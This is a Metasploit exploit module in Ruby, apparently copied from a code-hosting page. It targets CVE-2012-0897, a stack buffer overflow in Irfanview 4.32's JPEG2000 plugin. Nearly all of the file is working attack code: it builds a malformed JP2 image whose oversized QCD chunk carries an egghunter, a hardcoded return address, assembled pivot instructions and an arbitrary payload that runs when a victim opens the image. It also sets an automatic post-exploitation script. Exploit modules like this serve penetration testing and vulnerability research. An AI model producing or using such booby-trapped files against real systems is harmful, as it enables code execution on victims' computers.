208 lines
8.5 KiB
Ruby
208 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability in
|
|
version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has
|
|
been tested on a specific version of irfanview (v4.3.2), although other
|
|
versions may work also. The vulnerability is triggered via parsing an
|
|
invalid qcd chunk structure and specifying a malformed qcd size and
|
|
data.
|
|
|
|
Payload delivery and vulnerability trigger can be executed in multiple
|
|
ways. The user can double click the file, use the file dialog, open via
|
|
the icon and drag/drop the file into Irfanview's window. An egg hunter
|
|
is used for stability.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
|
|
'mr_me <steventhomasseeley[at]gmail.com>', # msf-fu
|
|
'juan vazquez' # more improvements
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0897' ],
|
|
[ 'OSVDB', '78333'],
|
|
[ 'BID', '51426' ],
|
|
[ 'URL', 'http://www.greyhathacker.net/?p=525' ],
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4000,
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# push esp; retn [i_view32.exe]
|
|
# http://www.oldapps.com/irfanview.php?old_irfanview=7097
|
|
# http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
|
|
[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
|
|
],
|
|
'DisclosureDate' => 'Jan 16 2012',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
|
|
])
|
|
end
|
|
|
|
# encode our string like unicode except we are not using nulls
|
|
def encode_bytes(raw_bytes)
|
|
encoded_bytes = ""
|
|
0.step(raw_bytes.length-1, 2) { |i|
|
|
encoded_bytes << raw_bytes[i+1]
|
|
encoded_bytes << raw_bytes[i]
|
|
}
|
|
return encoded_bytes
|
|
end
|
|
|
|
def exploit
|
|
jp2 = ""
|
|
jp2 << "\x00\x00\x00\x0c" #
|
|
jp2 << "\x6a\x50\x20\x20" # [jP ] <0x6a502020> magic 0xd0a870a,len 12
|
|
jp2 << "\x0d\x0a\x87\x0a" #
|
|
jp2 << "\x00\x00\x00\x14" #
|
|
jp2 << "\x66\x74\x79\x70" #
|
|
jp2 << "\x6a\x70\x32\x20" #
|
|
jp2 << "\x00\x00\x00\x00" # MinorVersion = 0 = [\0\0\0\0]
|
|
jp2 << "\x6a\x70\x32\x20" # Compat = 0x6a703220 = [jp2 ]
|
|
jp2 << "\x00\x00\x00\x38" #
|
|
jp2 << "\x75\x75\x69\x64" # [uuid] <0x75756964> len 56 data offset 8
|
|
jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
|
|
jp2 << "\xd5\x11\xb2\xed\x00\x50" #
|
|
jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
|
|
jp2 << "\x00\x00\x40\x01\x00\x00" #
|
|
jp2 << "\x00\x00\x00\x00\x60\x09" #
|
|
jp2 << "\x00\x00\x00\x00\x00\x00" #
|
|
jp2 << "\x00\x00\x00\x00\x00\x00" #
|
|
jp2 << "\x00\x00\x30\x00\x00\x00" #
|
|
jp2 << "\x00\x00\x00\x2d" #
|
|
jp2 << "\x6a\x70\x32\x68" # [jp2h] <0x6a703268> len 45 data offset 8
|
|
jp2 << "\x00\x00\x00\x16" #
|
|
jp2 << "\x69\x68\x64\x72" # [ihdr] <0x69686472> len 22 data offset 8
|
|
jp2 << "\x00\x00\x00\x0a" # ImageHeight = 10
|
|
jp2 << "\x00\x00\x00\x0a" # ImageWidth = 10
|
|
jp2 << "\x00\x03" # NumberOfComponents = 3
|
|
jp2 << "\x07" # BitsPerComponent = 7
|
|
jp2 << "\x07" # Compression = 7
|
|
jp2 << "\x01" # Colorspace = 0x1 = unknown
|
|
jp2 << "\x00\x00\x00\x00\x0f" #
|
|
jp2 << "\x63\x6f\x6c\x72" # [colr] <0x636f6c72> len 15 data offset 8
|
|
jp2 << "\x01" # Method = 1
|
|
jp2 << "\x00" # Precedence = 0
|
|
jp2 << "\x00" # ColorSpaceAproximation = 0
|
|
jp2 << "\x00\x00\x00" # EnumeratedColorSpace = 16 = sRGB
|
|
jp2 << "\x10\x00\x00\x00\x00" #
|
|
jp2 << "\x6a\x70\x32\x63" # [jp2c] <0x6a703263> length 0 data offset 8
|
|
jp2 << "\xff\x4f" # <0xff4f=JP2C_SOC> Start of codestream
|
|
jp2 << "\xff\x51" # <0xff51=JP2C_SIZ> length 47
|
|
jp2 << "\x00\x2f" # 47 bytes
|
|
jp2 << "\x00\x00" # Capabilities = 0
|
|
jp2 << "\x00\x00\x00\x0a" # GridWidth = 10
|
|
jp2 << "\x00\x00\x00\x0a" # GridHeight = 10
|
|
jp2 << "\x00\x00\x00\x00" # XImageOffset = 0
|
|
jp2 << "\x00\x00\x00\x00" # YImageOffset = 0
|
|
jp2 << "\x00\x00\x00\x0a" # TileWidth = 10
|
|
jp2 << "\x00\x00\x00\x0a" # TileHeight = 10
|
|
jp2 << "\x00\x00\x00\x00" # Xtileoffset = 0
|
|
jp2 << "\x00\x00\x00\x00" # Ytileoffset = 0
|
|
jp2 << "\x00\x03" # NumberOfComponents = 3
|
|
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
|
|
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
|
|
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
|
|
jp2 << "\xff\x52" # <0xff52=JP2C_COD> length 12
|
|
jp2 << "\x00\x0c" # 12 bytes
|
|
jp2 << "\x00" # codingStyle=0=entropy coder w/o partition
|
|
jp2 << "\x00" # ProgressionOrder = 0
|
|
jp2 << "\x00\x05" # NumberOfLayers = 0x5
|
|
jp2 << "\x01" # MultiComponentTransform=0x1=5/3 reversible
|
|
jp2 << "\x05" # DecompLevels = 5
|
|
jp2 << "\x04" # CodeBlockWidthExponent=0x4+2 # cbw ->64
|
|
jp2 << "\x04" # CodeBlockHeightExponent=0x4+2 # cbh ->64
|
|
jp2 << "\x00" # CodeBLockStyle = 0
|
|
jp2 << "\x00" # QMIFBankId = 0
|
|
|
|
eggoptions =
|
|
{
|
|
:checksum => false,
|
|
:eggtag => 'pwnd'
|
|
}
|
|
|
|
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
|
qcd_data = ""
|
|
qcd_data << make_nops(10)
|
|
qcd_data << encode_bytes(hunter)
|
|
qcd_data << rand_text_alpha(146)
|
|
|
|
jmp_hunter = %q{
|
|
jmp $-0xad
|
|
inc ecx
|
|
}
|
|
|
|
# jump to our egghunter
|
|
jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string
|
|
|
|
qcd_data << encode_bytes(jmp_hunter)
|
|
qcd_data << rand_text_alpha(196-qcd_data.length)
|
|
qcd_data << encode_bytes([target.ret].pack("V"))
|
|
|
|
# align ecx and jmp
|
|
pivot = %q{
|
|
inc ch
|
|
jmp ecx
|
|
}
|
|
|
|
pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string
|
|
|
|
qcd_data << encode_bytes(pivot)
|
|
qcd_data << egg
|
|
|
|
jp2 << "\xff\x5c" # start
|
|
jp2 << "\x00\xf5" # arbitrary size to trigger overflow
|
|
jp2 << "\x22" # guard
|
|
jp2 << qcd_data # malicious code
|
|
jp2 << "\xff\x90" # <0xff90=JP2C_SOT>len 10
|
|
jp2 << "\x00\x0a" # 10 bytes
|
|
jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
|
|
jp2 << "\xff\x93" # <0xff93=JP2C_SOD> Start of data
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
|
|
jp2 << "\x80\x80"
|
|
jp2 << "\xff\xd9"
|
|
|
|
# Create the file
|
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
|
|
|
file_create(jp2)
|
|
end
|
|
end
|